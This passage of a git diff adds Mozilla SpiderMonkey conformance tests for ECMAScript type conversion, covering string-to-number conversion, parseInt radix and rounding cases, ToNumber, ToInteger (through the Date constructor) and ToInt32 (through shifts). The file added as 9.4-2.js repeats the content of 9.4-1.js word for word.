+new TestCase( SECTION,
+ "-s1 == Infinity || s1 == 1.7976931348623157e+308",
+ true,
+ -s1 == Infinity || s1 == 1.7976931348623157e+308 );
+
+s2 = s + 2;
+
+print("s2 = " + s2);
+print("-s2 = " + (-s2));
+
+new TestCase( SECTION,
+ "s2 = s+2; s2",
+ "179769313486231580793728971405303415079934132710037826936173778980444968292764750946649017977587207096330286416692887910946555547851940402630657488671505820681908902000708383676273854845817711531764475730270069855571366959622842914819860834936475292719074168444365510704342711559699508093042880177904174497792",
+ s2 );
+
+// ***** This answer is preferred but -1.7976931348623157e+308 is also acceptable here *****
+new TestCase( SECTION,
+ "-s2 == -Infinity || -s2 == -1.7976931348623157e+308 ",
+ true,
+ -s2 == -Infinity || -s2 == -1.7976931348623157e+308 );
+
+s3 = s+3;
+
+print("s3 = " + s3);
+print("-s3 = " + (-s3));
+
+new TestCase( SECTION,
+ "s3 = s+3; s3",
+ "179769313486231580793728971405303415079934132710037826936173778980444968292764750946649017977587207096330286416692887910946555547851940402630657488671505820681908902000708383676273854845817711531764475730270069855571366959622842914819860834936475292719074168444365510704342711559699508093042880177904174497793",
+ s3 );
+
+//***** This answer is preferred but -1.7976931348623157e+308 is also acceptable here *****
+
+new TestCase( SECTION,
+ "-s3 == -Infinity || -s3 == -1.7976931348623157e+308",
+ true,
+ -s3 == -Infinity || -s3 == -1.7976931348623157e+308 );
+
+
+//***** This answer is preferred but Infinity is also acceptable here *****
+
+new TestCase( SECTION,
+ "parseInt(s1,10) == 1.7976931348623157e+308 || parseInt(s1,10) == Infinity",
+ true,
+ parseInt(s1,10) == 1.7976931348623157e+308 || parseInt(s1,10) == Infinity );
+
+//***** This answer is preferred but 1.7976931348623157e+308 is also acceptable here *****
+new TestCase( SECTION,
+ "parseInt(s2,10) == Infinity || parseInt(s2,10) == 1.7976931348623157e+308",
+ true ,
+ parseInt(s2,10) == Infinity || parseInt(s2,10) == 1.7976931348623157e+308 );
+
+//***** This answer is preferred but Infinity is also acceptable here *****
+
+new TestCase( SECTION,
+ "parseInt(s1) == 1.7976931348623157e+308 || parseInt(s1) == Infinity",
+ true,
+ parseInt(s1) == 1.7976931348623157e+308 || parseInt(s1) == Infinity);
+
+//***** This answer is preferred but 1.7976931348623157e+308 is also acceptable here *****
+new TestCase( SECTION,
+ "parseInt(s2) == Infinity || parseInt(s2) == 1.7976931348623157e+308",
+ true,
+ parseInt(s2) == Infinity || parseInt(s2) == 1.7976931348623157e+308 );
+
+new TestCase( SECTION,
+ "0x12345678",
+ 305419896,
+ 0x12345678 );
+
+new TestCase( SECTION,
+ "0x80000000",
+ 2147483648,
+ 0x80000000 );
+
+new TestCase( SECTION,
+ "0xffffffff",
+ 4294967295,
+ 0xffffffff );
+
+new TestCase( SECTION,
+ "0x100000000",
+ 4294967296,
+ 0x100000000 );
+
+new TestCase( SECTION,
+ "077777777777777777",
+ 2251799813685247,
+ 077777777777777777 );
+
+new TestCase( SECTION,
+ "077777777777777776",
+ 2251799813685246,
+ 077777777777777776 );
+
+new TestCase( SECTION,
+ "0x1fffffffffffff",
+ 9007199254740991,
+ 0x1fffffffffffff );
+
+new TestCase( SECTION,
+ "0x20000000000000",
+ 9007199254740992,
+ 0x20000000000000 );
+
+new TestCase( SECTION,
+ "0x20123456789abc",
+ 9027215253084860,
+ 0x20123456789abc );
+
+new TestCase( SECTION,
+ "0x20123456789abd",
+ 9027215253084860,
+ 0x20123456789abd );
+
+new TestCase( SECTION,
+ "0x20123456789abe",
+ 9027215253084862,
+ 0x20123456789abe );
+
+new TestCase( SECTION,
+ "0x20123456789abf",
+ 9027215253084864,
+ 0x20123456789abf );
+
+/***** These test the round-to-nearest-or-even-if-equally-close rule *****/
+
+new TestCase( SECTION,
+ "0x1000000000000080",
+ 1152921504606847000,
+ 0x1000000000000080 );
+
+new TestCase( SECTION,
+ "0x1000000000000081",
+ 1152921504606847200,
+ 0x1000000000000081 );
+
+new TestCase( SECTION,
+ "0x1000000000000100",
+ 1152921504606847200,
+ 0x1000000000000100 );
+new TestCase( SECTION,
+ "0x100000000000017f",
+ 1152921504606847200,
+ 0x100000000000017f );
+
+new TestCase( SECTION,
+ "0x1000000000000180",
+ 1152921504606847500,
+ 0x1000000000000180 );
+
+new TestCase( SECTION,
+ "0x1000000000000181",
+ 1152921504606847500,
+ 0x1000000000000181 );
+
+new TestCase( SECTION,
+ "0x10000000000001f0",
+ 1152921504606847500,
+ 0x10000000000001f0 );
+
+new TestCase( SECTION,
+ "0x1000000000000200",
+ 1152921504606847500,
+ 0x1000000000000200 );
+
+new TestCase( SECTION,
+ "0x100000000000027f",
+ 1152921504606847500,
+ 0x100000000000027f );
+
+new TestCase( SECTION,
+ "0x1000000000000280",
+ 1152921504606847500,
+ 0x1000000000000280 );
+
+new TestCase( SECTION,
+ "0x1000000000000281",
+ 1152921504606847700,
+ 0x1000000000000281 );
+
+new TestCase( SECTION,
+ "0x10000000000002ff",
+ 1152921504606847700,
+ 0x10000000000002ff );
+
+new TestCase( SECTION,
+ "0x1000000000000300",
+ 1152921504606847700,
+ 0x1000000000000300 );
+
+new TestCase( SECTION,
+ "0x10000000000000000",
+ 18446744073709552000,
+ 0x10000000000000000 );
+
+new TestCase( SECTION,
+ "parseInt(\"000000100000000100100011010001010110011110001001101010111100\",2)",
+ 9027215253084860,
+ parseInt("000000100000000100100011010001010110011110001001101010111100",2) );
+
+new TestCase( SECTION,
+ "parseInt(\"000000100000000100100011010001010110011110001001101010111101\",2)",
+ 9027215253084860,
+ parseInt("000000100000000100100011010001010110011110001001101010111101",2) );
+
+new TestCase( SECTION,
+ "parseInt(\"000000100000000100100011010001010110011110001001101010111111\",2)",
+ 9027215253084864,
+ parseInt("000000100000000100100011010001010110011110001001101010111111",2) );
+
+new TestCase( SECTION,
+ "parseInt(\"0000001000000001001000110100010101100111100010011010101111010\",2)",
+ 18054430506169720,
+ parseInt("0000001000000001001000110100010101100111100010011010101111010",2));
+
+new TestCase( SECTION,
+ "parseInt(\"0000001000000001001000110100010101100111100010011010101111011\",2)",
+ 18054430506169724,
+ parseInt("0000001000000001001000110100010101100111100010011010101111011",2) );
+
+new TestCase( SECTION,
+ "parseInt(\"0000001000000001001000110100010101100111100010011010101111100\",2)",
+ 18054430506169724,
+ parseInt("0000001000000001001000110100010101100111100010011010101111100",2));
+
+new TestCase( SECTION,
+ "parseInt(\"0000001000000001001000110100010101100111100010011010101111110\",2)",
+ 18054430506169728,
+ parseInt("0000001000000001001000110100010101100111100010011010101111110",2));
+
+new TestCase( SECTION,
+ "parseInt(\"yz\",35)",
+ 34,
+ parseInt("yz",35) );
+
+new TestCase( SECTION,
+ "parseInt(\"yz\",36)",
+ 1259,
+ parseInt("yz",36) );
+
+new TestCase( SECTION,
+ "parseInt(\"yz\",37)",
+ NaN,
+ parseInt("yz",37) );
+
+new TestCase( SECTION,
+ "parseInt(\"+77\")",
+ 77,
+ parseInt("+77") );
+
+new TestCase( SECTION,
+ "parseInt(\"-77\",9)",
+ -70,
+ parseInt("-77",9) );
+
+new TestCase( SECTION,
+ "parseInt(\"\\u20001234\\u2000\")",
+ 1234,
+ parseInt("\u20001234\u2000") );
+
+new TestCase( SECTION,
+ "parseInt(\"123456789012345678\")",
+ 123456789012345680,
+ parseInt("123456789012345678") );
+
+new TestCase( SECTION,
+ "parseInt(\"9\",8)",
+ NaN,
+ parseInt("9",8) );
+
+new TestCase( SECTION,
+ "parseInt(\"1e2\")",
+ 1,
+ parseInt("1e2") );
+
+new TestCase( SECTION,
+ "parseInt(\"1.9999999999999999999\")",
+ 1,
+ parseInt("1.9999999999999999999") );
+
+new TestCase( SECTION,
+ "parseInt(\"0x10\")",
+ 16,
+ parseInt("0x10") );
+
+new TestCase( SECTION,
+ "parseInt(\"0x10\",10)",
+ 0,
+ parseInt("0x10",10) );
+
+new TestCase( SECTION,
+ "parseInt(\"0022\")",
+ 22,
+ parseInt("0022") );
+
+new TestCase( SECTION,
+ "parseInt(\"0022\", 8)",
+ 18,
+ parseInt("0022", 8) );
+
+new TestCase( SECTION,
+ "parseInt(\"0022\",10)",
+ 22,
+ parseInt("0022",10) );
+
+new TestCase( SECTION,
+ "parseInt(\"0x1000000000000080\")",
+ 1152921504606847000,
+ parseInt("0x1000000000000080") );
+
+new TestCase( SECTION,
+ "parseInt(\"0x1000000000000081\")",
+ 1152921504606847200,
+ parseInt("0x1000000000000081") );
+
+s =
+ "0xFFFFFFFFFFFFF80000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000";
+
+new TestCase( SECTION, "s = "+
+ "\"0xFFFFFFFFFFFFF80000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000\";"+
+ "s",
+ "0xFFFFFFFFFFFFF80000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000",
+ s );
+
+
+new TestCase( SECTION, "s +="+
+ "\"0000000000000000000000000000000000000\"; s",
+ "0xFFFFFFFFFFFFF800000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000",
+ s += "0000000000000000000000000000000000000" );
+
+new TestCase( SECTION, "-s",
+ -1.7976931348623157e+308,
+ -s );
+
+s =
+ "0xFFFFFFFFFFFFF80000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000";
+
+new TestCase( SECTION, "s ="+
+ "\"0xFFFFFFFFFFFFF80000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000\";"+
+ "s",
+ "0xFFFFFFFFFFFFF80000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000",
+ s );
+
+new TestCase( SECTION,
+ "s += \"0000000000000000000000000000000000001\"",
+ "0xFFFFFFFFFFFFF800000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001",
+ s += "0000000000000000000000000000000000001" );
+
+new TestCase( SECTION,
+ "-s",
+ -1.7976931348623157e+308,
+ -s );
+
+s =
+ "0xFFFFFFFFFFFFFC0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000";
+
+new TestCase( SECTION,
+ "s ="+
+ "\"0xFFFFFFFFFFFFFC0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000\";"+
+ "s",
+ "0xFFFFFFFFFFFFFC0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000",
+ s );
+
+
+new TestCase( SECTION,
+ "s += \"0000000000000000000000000000000000000\"",
+ "0xFFFFFFFFFFFFFC00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000",
+ s += "0000000000000000000000000000000000000");
+
+
+new TestCase( SECTION,
+ "-s",
+ -Infinity,
+ -s );
+
+s =
+ "0xFFFFFFFFFFFFFB0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000";
+
+new TestCase( SECTION,
+ "s = "+
+ "\"0xFFFFFFFFFFFFFB0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000\";s",
+ "0xFFFFFFFFFFFFFB0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000",
+ s);
+
+new TestCase( SECTION,
+ "s += \"0000000000000000000000000000000000001\"",
+ "0xFFFFFFFFFFFFFB00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001",
+ s += "0000000000000000000000000000000000001" );
+
+new TestCase( SECTION,
+ "-s",
+ -1.7976931348623157e+308,
+ -s );
+
+new TestCase( SECTION,
+ "s += \"0\"",
+ "0xFFFFFFFFFFFFFB000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000010",
+ s += "0" );
+
+new TestCase( SECTION,
+ "-s",
+ -Infinity,
+ -s );
+
+new TestCase( SECTION,
+ "parseInt(s)",
+ Infinity,
+ parseInt(s) );
+
+new TestCase( SECTION,
+ "parseInt(s,32)",
+ 0,
+ parseInt(s,32) );
+
+new TestCase( SECTION,
+ "parseInt(s,36)",
+ Infinity,
+ parseInt(s,36) );
+
+new TestCase( SECTION,
+ "-\"\"",
+ 0,
+ -"" );
+
+new TestCase( SECTION,
+ "-\" \"",
+ 0,
+ -" " );
+
+new TestCase( SECTION,
+ "-\"999\"",
+ -999,
+ -"999" );
+
+new TestCase( SECTION,
+ "-\" 999\"",
+ -999,
+ -" 999" );
+
+new TestCase( SECTION,
+ "-\"\\t999\"",
+ -999,
+ -"\t999" );
+
+new TestCase( SECTION,
+ "-\"013 \"",
+ -13,
+ -"013 " );
+
+new TestCase( SECTION,
+ "-\"999\\t\"",
+ -999,
+ -"999\t" );
+
+new TestCase( SECTION,
+ "-\"-Infinity\"",
+ Infinity,
+ -"-Infinity" );
+
+new TestCase( SECTION,
+ "-\"+Infinity\"",
+ -Infinity,
+ -"+Infinity" );
+
+new TestCase( SECTION,
+ "-\"+Infiniti\"",
+ NaN,
+ -"+Infiniti" );
+
+new TestCase( SECTION,
+ "- -\"0x80000000\"",
+ 2147483648,
+ - -"0x80000000" );
+
+new TestCase( SECTION,
+ "- -\"0x100000000\"",
+ 4294967296,
+ - -"0x100000000" );
+
+new TestCase( SECTION,
+ "- \"-0x123456789abcde8\"",
+ NaN,
+ - "-0x123456789abcde8" );
+
+new TestCase( SECTION,
+ "- \"+0x123456789abcde8\"",
+ NaN,
+ - "+0x123456789abcde8" );
+
+// the following two tests are not strictly ECMA 1.0
+
+new TestCase( SECTION,
+ "-\"\\u20001234\\u2001\"",
+ -1234,
+ -"\u20001234\u2001" );
+
+new TestCase( SECTION,
+ "-\"\\u20001234\\0\"",
+ NaN,
+ -"\u20001234\0" );
+
+new TestCase( SECTION,
+ "-\"0x10\"",
+ -16,
+ -"0x10" );
+
+new TestCase( SECTION,
+ "-\"+\"",
+ NaN,
+ -"+" );
+
+new TestCase( SECTION,
+ "-\"-\"",
+ NaN,
+ -"-" );
+
+new TestCase( SECTION,
+ "-\"-0-\"",
+ NaN,
+ -"-0-" );
+
+new TestCase( SECTION,
+ "-\"1e-\"",
+ NaN,
+ -"1e-" );
+
+new TestCase( SECTION,
+ "-\"1e-1\"",
+ -0.1,
+ -"1e-1" );
+
+test();
+
+
diff --git a/js/src/tests/ecma/TypeConversion/9.3.js b/js/src/tests/ecma/TypeConversion/9.3.js
new file mode 100644
index 000000000..21e2b3d81
--- /dev/null
+++ b/js/src/tests/ecma/TypeConversion/9.3.js
@@ -0,0 +1,53 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: 9.3.js
+ ECMA Section: 9.3 Type Conversion: ToNumber
+ Description: rules for converting an argument to a number.
+ see 9.3.1 for cases for converting strings to numbers.
+ special cases:
+ undefined NaN
+ Null NaN
+ Boolean 1 if true; +0 if false
+ Number the argument ( no conversion )
+ String see test 9.3.1
+ Object see test 9.3-1
+
+ For ToNumber applied to the String type, see test 9.3.1.
+ For ToNumber applied to the object type, see test 9.3-1.
+
+ Author: christine@netscape.com
+ Date: 10 july 1997
+
+*/
+var SECTION = "9.3";
+var VERSION = "ECMA_1";
+startTest();
+var TITLE = "ToNumber";
+
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+// special cases here
+
+new TestCase( SECTION, "Number()", 0, Number() );
+new TestCase( SECTION, "Number(eval('var x'))", Number.NaN, Number(eval("var x")) );
+new TestCase( SECTION, "Number(void 0)", Number.NaN, Number(void 0) );
+new TestCase( SECTION, "Number(null)", 0, Number(null) );
+new TestCase( SECTION, "Number(true)", 1, Number(true) );
+new TestCase( SECTION, "Number(false)", 0, Number(false) );
+new TestCase( SECTION, "Number(0)", 0, Number(0) );
+new TestCase( SECTION, "Number(-0)", -0, Number(-0) );
+new TestCase( SECTION, "Number(1)", 1, Number(1) );
+new TestCase( SECTION, "Number(-1)", -1, Number(-1) );
+new TestCase( SECTION, "Number(Number.MAX_VALUE)", 1.7976931348623157e308, Number(Number.MAX_VALUE) );
+new TestCase( SECTION, "Number(Number.MIN_VALUE)", 5e-324, Number(Number.MIN_VALUE) );
+
+new TestCase( SECTION, "Number(Number.NaN)", Number.NaN, Number(Number.NaN) );
+new TestCase( SECTION, "Number(Number.POSITIVE_INFINITY)", Number.POSITIVE_INFINITY, Number(Number.POSITIVE_INFINITY) );
+new TestCase( SECTION, "Number(Number.NEGATIVE_INFINITY)", Number.NEGATIVE_INFINITY, Number(Number.NEGATIVE_INFINITY) );
+
+test();
diff --git a/js/src/tests/ecma/TypeConversion/9.4-1.js b/js/src/tests/ecma/TypeConversion/9.4-1.js
new file mode 100644
index 000000000..61a422276
--- /dev/null
+++ b/js/src/tests/ecma/TypeConversion/9.4-1.js
@@ -0,0 +1,78 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: 9.4-1.js
+ ECMA Section: 9.4 ToInteger
+ Description: 1. Call ToNumber on the input argument
+ 2. If Result(1) is NaN, return +0
+ 3. If Result(1) is +0, -0, Infinity, or -Infinity,
+ return Result(1).
+ 4. Compute sign(Result(1)) * floor(abs(Result(1))).
+ 5. Return Result(4).
+
+ To test ToInteger, this test uses new Date(value),
+ 15.9.3.7. The Date constructor sets the [[Value]]
+ property of the new object to TimeClip(value), which
+ uses the rules:
+
+ TimeClip(time)
+ 1. If time is not finite, return NaN
+ 2. If abs(Result(1)) > 8.64e15, return NaN
+ 3. Return an implementation dependent choice of either
+ ToInteger(Result(2)) or ToInteger(Result(2)) + (+0)
+ (Adding a positive 0 converts -0 to +0).
+
+ This tests ToInteger for values -8.64e15 > value > 8.64e15,
+ not including -0 and +0.
+
+ For additional special cases (0, +0, Infinity, -Infinity,
+ and NaN, see 9.4-2.js). For value is String, see 9.4-3.js.
+
+ Author: christine@netscape.com
+ Date: 10 july 1997
+
+*/
+var SECTION = "9.4-1";
+var VERSION = "ECMA_1";
+startTest();
+var TITLE = "ToInteger";
+
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+// some special cases
+
+new TestCase( SECTION, "td = new Date(Number.NaN); td.valueOf()", Number.NaN, eval("td = new Date(Number.NaN); td.valueOf()") );
+new TestCase( SECTION, "td = new Date(Infinity); td.valueOf()", Number.NaN, eval("td = new Date(Number.POSITIVE_INFINITY); td.valueOf()") );
+new TestCase( SECTION, "td = new Date(-Infinity); td.valueOf()", Number.NaN, eval("td = new Date(Number.NEGATIVE_INFINITY); td.valueOf()") );
+new TestCase( SECTION, "td = new Date(-0); td.valueOf()", -0, eval("td = new Date(-0); td.valueOf()" ) );
+new TestCase( SECTION, "td = new Date(0); td.valueOf()", 0, eval("td = new Date(0); td.valueOf()") );
+
+// value is not an integer
+
+new TestCase( SECTION, "td = new Date(3.14159); td.valueOf()", 3, eval("td = new Date(3.14159); td.valueOf()") );
+new TestCase( SECTION, "td = new Date(Math.PI); td.valueOf()", 3, eval("td = new Date(Math.PI); td.valueOf()") );
+new TestCase( SECTION, "td = new Date(-Math.PI);td.valueOf()", -3, eval("td = new Date(-Math.PI);td.valueOf()") );
+new TestCase( SECTION, "td = new Date(3.14159e2); td.valueOf()", 314, eval("td = new Date(3.14159e2); td.valueOf()") );
+
+new TestCase( SECTION, "td = new Date(.692147e1); td.valueOf()", 6, eval("td = new Date(.692147e1);td.valueOf()") );
+new TestCase( SECTION, "td = new Date(-.692147e1);td.valueOf()", -6, eval("td = new Date(-.692147e1);td.valueOf()") );
+
+// value is not a number
+
+new TestCase( SECTION, "td = new Date(true); td.valueOf()", 1, eval("td = new Date(true); td.valueOf()" ) );
+new TestCase( SECTION, "td = new Date(false); td.valueOf()", 0, eval("td = new Date(false); td.valueOf()") );
+
+new TestCase( SECTION, "td = new Date(new Number(Math.PI)); td.valueOf()", 3, eval("td = new Date(new Number(Math.PI)); td.valueOf()") );
+new TestCase( SECTION, "td = new Date(new Number(Math.PI)); td.valueOf()", 3, eval("td = new Date(new Number(Math.PI)); td.valueOf()") );
+
+// edge cases
+new TestCase( SECTION, "td = new Date(8.64e15); td.valueOf()", 8.64e15, eval("td = new Date(8.64e15); td.valueOf()") );
+new TestCase( SECTION, "td = new Date(-8.64e15); td.valueOf()", -8.64e15, eval("td = new Date(-8.64e15); td.valueOf()") );
+new TestCase( SECTION, "td = new Date(8.64e-15); td.valueOf()", 0, eval("td = new Date(8.64e-15); td.valueOf()") );
+new TestCase( SECTION, "td = new Date(-8.64e-15); td.valueOf()", 0, eval("td = new Date(-8.64e-15); td.valueOf()") );
+
+test();
diff --git a/js/src/tests/ecma/TypeConversion/9.4-2.js b/js/src/tests/ecma/TypeConversion/9.4-2.js
new file mode 100644
index 000000000..61a422276
--- /dev/null
+++ b/js/src/tests/ecma/TypeConversion/9.4-2.js
@@ -0,0 +1,78 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: 9.4-1.js
+ ECMA Section: 9.4 ToInteger
+ Description: 1. Call ToNumber on the input argument
+ 2. If Result(1) is NaN, return +0
+ 3. If Result(1) is +0, -0, Infinity, or -Infinity,
+ return Result(1).
+ 4. Compute sign(Result(1)) * floor(abs(Result(1))).
+ 5. Return Result(4).
+
+ To test ToInteger, this test uses new Date(value),
+ 15.9.3.7. The Date constructor sets the [[Value]]
+ property of the new object to TimeClip(value), which
+ uses the rules:
+
+ TimeClip(time)
+ 1. If time is not finite, return NaN
+ 2. If abs(Result(1)) > 8.64e15, return NaN
+ 3. Return an implementation dependent choice of either
+ ToInteger(Result(2)) or ToInteger(Result(2)) + (+0)
+ (Adding a positive 0 converts -0 to +0).
+
+ This tests ToInteger for values -8.64e15 > value > 8.64e15,
+ not including -0 and +0.
+
+ For additional special cases (0, +0, Infinity, -Infinity,
+ and NaN, see 9.4-2.js). For value is String, see 9.4-3.js.
+
+ Author: christine@netscape.com
+ Date: 10 july 1997
+
+*/
+var SECTION = "9.4-1";
+var VERSION = "ECMA_1";
+startTest();
+var TITLE = "ToInteger";
+
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+// some special cases
+
+new TestCase( SECTION, "td = new Date(Number.NaN); td.valueOf()", Number.NaN, eval("td = new Date(Number.NaN); td.valueOf()") );
+new TestCase( SECTION, "td = new Date(Infinity); td.valueOf()", Number.NaN, eval("td = new Date(Number.POSITIVE_INFINITY); td.valueOf()") );
+new TestCase( SECTION, "td = new Date(-Infinity); td.valueOf()", Number.NaN, eval("td = new Date(Number.NEGATIVE_INFINITY); td.valueOf()") );
+new TestCase( SECTION, "td = new Date(-0); td.valueOf()", -0, eval("td = new Date(-0); td.valueOf()" ) );
+new TestCase( SECTION, "td = new Date(0); td.valueOf()", 0, eval("td = new Date(0); td.valueOf()") );
+
+// value is not an integer
+
+new TestCase( SECTION, "td = new Date(3.14159); td.valueOf()", 3, eval("td = new Date(3.14159); td.valueOf()") );
+new TestCase( SECTION, "td = new Date(Math.PI); td.valueOf()", 3, eval("td = new Date(Math.PI); td.valueOf()") );
+new TestCase( SECTION, "td = new Date(-Math.PI);td.valueOf()", -3, eval("td = new Date(-Math.PI);td.valueOf()") );
+new TestCase( SECTION, "td = new Date(3.14159e2); td.valueOf()", 314, eval("td = new Date(3.14159e2); td.valueOf()") );
+
+new TestCase( SECTION, "td = new Date(.692147e1); td.valueOf()", 6, eval("td = new Date(.692147e1);td.valueOf()") );
+new TestCase( SECTION, "td = new Date(-.692147e1);td.valueOf()", -6, eval("td = new Date(-.692147e1);td.valueOf()") );
+
+// value is not a number
+
+new TestCase( SECTION, "td = new Date(true); td.valueOf()", 1, eval("td = new Date(true); td.valueOf()" ) );
+new TestCase( SECTION, "td = new Date(false); td.valueOf()", 0, eval("td = new Date(false); td.valueOf()") );
+
+new TestCase( SECTION, "td = new Date(new Number(Math.PI)); td.valueOf()", 3, eval("td = new Date(new Number(Math.PI)); td.valueOf()") );
+new TestCase( SECTION, "td = new Date(new Number(Math.PI)); td.valueOf()", 3, eval("td = new Date(new Number(Math.PI)); td.valueOf()") );
+
+// edge cases
+new TestCase( SECTION, "td = new Date(8.64e15); td.valueOf()", 8.64e15, eval("td = new Date(8.64e15); td.valueOf()") );
+new TestCase( SECTION, "td = new Date(-8.64e15); td.valueOf()", -8.64e15, eval("td = new Date(-8.64e15); td.valueOf()") );
+new TestCase( SECTION, "td = new Date(8.64e-15); td.valueOf()", 0, eval("td = new Date(8.64e-15); td.valueOf()") );
+new TestCase( SECTION, "td = new Date(-8.64e-15); td.valueOf()", 0, eval("td = new Date(-8.64e-15); td.valueOf()") );
+
+test();
diff --git a/js/src/tests/ecma/TypeConversion/9.5-2.js b/js/src/tests/ecma/TypeConversion/9.5-2.js
new file mode 100644
index 000000000..6f39ac544
--- /dev/null
+++ b/js/src/tests/ecma/TypeConversion/9.5-2.js
@@ -0,0 +1,139 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: 9.5-2.js
+ ECMA Section: 9.5 Type Conversion: ToInt32
+ Description: rules for converting an argument to a signed 32 bit integer
+
+ this test uses << 0 to convert the argument to a 32bit
+ integer.
+
+ The operator ToInt32 converts its argument to one of 2^32
+ integer values in the range -2^31 through 2^31 inclusive.
+ This operator functions as follows:
+
+ 1 call ToNumber on argument
+ 2 if result is NaN, 0, -0, return 0
+ 3 compute (sign (result(1)) * floor(abs(result 1)))
+ 4 compute result(3) modulo 2^32:
+ 5 if result(4) is greater than or equal to 2^31, return
+ result(5)-2^32. otherwise, return result(5)
+
+ special cases:
+ -0 returns 0
+ Infinity returns 0
+ -Infinity returns 0
+ ToInt32(ToUint32(x)) == ToInt32(x) for all values of x
+ Numbers greater than 2^31 (see step 5 above)
+ (note http://bugzilla.mozilla.org/show_bug.cgi?id=120083)
+
+ Author: christine@netscape.com
+ Date: 17 july 1997
+*/
+var SECTION = "9.5-2";
+var VERSION = "ECMA_1";
+startTest();
+
+writeHeaderToLog( SECTION + " ToInt32");
+
+new TestCase( SECTION, "0 << 0", 0, 0 << 0 );
+new TestCase( SECTION, "-0 << 0", 0, -0 << 0 );
+new TestCase( SECTION, "Infinity << 0", 0, "Infinity" << 0 );
+new TestCase( SECTION, "-Infinity << 0", 0, "-Infinity" << 0 );
+new TestCase( SECTION, "Number.POSITIVE_INFINITY << 0", 0, Number.POSITIVE_INFINITY << 0 );
+new TestCase( SECTION, "Number.NEGATIVE_INFINITY << 0", 0, Number.NEGATIVE_INFINITY << 0 );
+new TestCase( SECTION, "Number.NaN << 0", 0, Number.NaN << 0 );
+
+new TestCase( SECTION, "Number.MIN_VALUE << 0", 0, Number.MIN_VALUE << 0 );
+new TestCase( SECTION, "-Number.MIN_VALUE << 0", 0, -Number.MIN_VALUE << 0 );
+new TestCase( SECTION, "0.1 << 0", 0, 0.1 << 0 );
+new TestCase( SECTION, "-0.1 << 0", 0, -0.1 << 0 );
+new TestCase( SECTION, "1 << 0", 1, 1 << 0 );
+new TestCase( SECTION, "1.1 << 0", 1, 1.1 << 0 );
+new TestCase( SECTION, "-1 << 0", ToInt32(-1), -1 << 0 );
+
+
+new TestCase( SECTION, "2147483647 << 0", ToInt32(2147483647), 2147483647 << 0 );
+new TestCase( SECTION, "2147483648 << 0", ToInt32(2147483648), 2147483648 << 0 );
+new TestCase( SECTION, "2147483649 << 0", ToInt32(2147483649), 2147483649 << 0 );
+
+new TestCase( SECTION, "(Math.pow(2,31)-1) << 0", ToInt32(2147483647), (Math.pow(2,31)-1) << 0 );
+new TestCase( SECTION, "Math.pow(2,31) << 0", ToInt32(2147483648), Math.pow(2,31) << 0 );
+new TestCase( SECTION, "(Math.pow(2,31)+1) << 0", ToInt32(2147483649), (Math.pow(2,31)+1) << 0 );
+
+new TestCase( SECTION, "(Math.pow(2,32)-1) << 0", ToInt32(4294967295), (Math.pow(2,32)-1) << 0 );
+new TestCase( SECTION, "(Math.pow(2,32)) << 0", ToInt32(4294967296), (Math.pow(2,32)) << 0 );
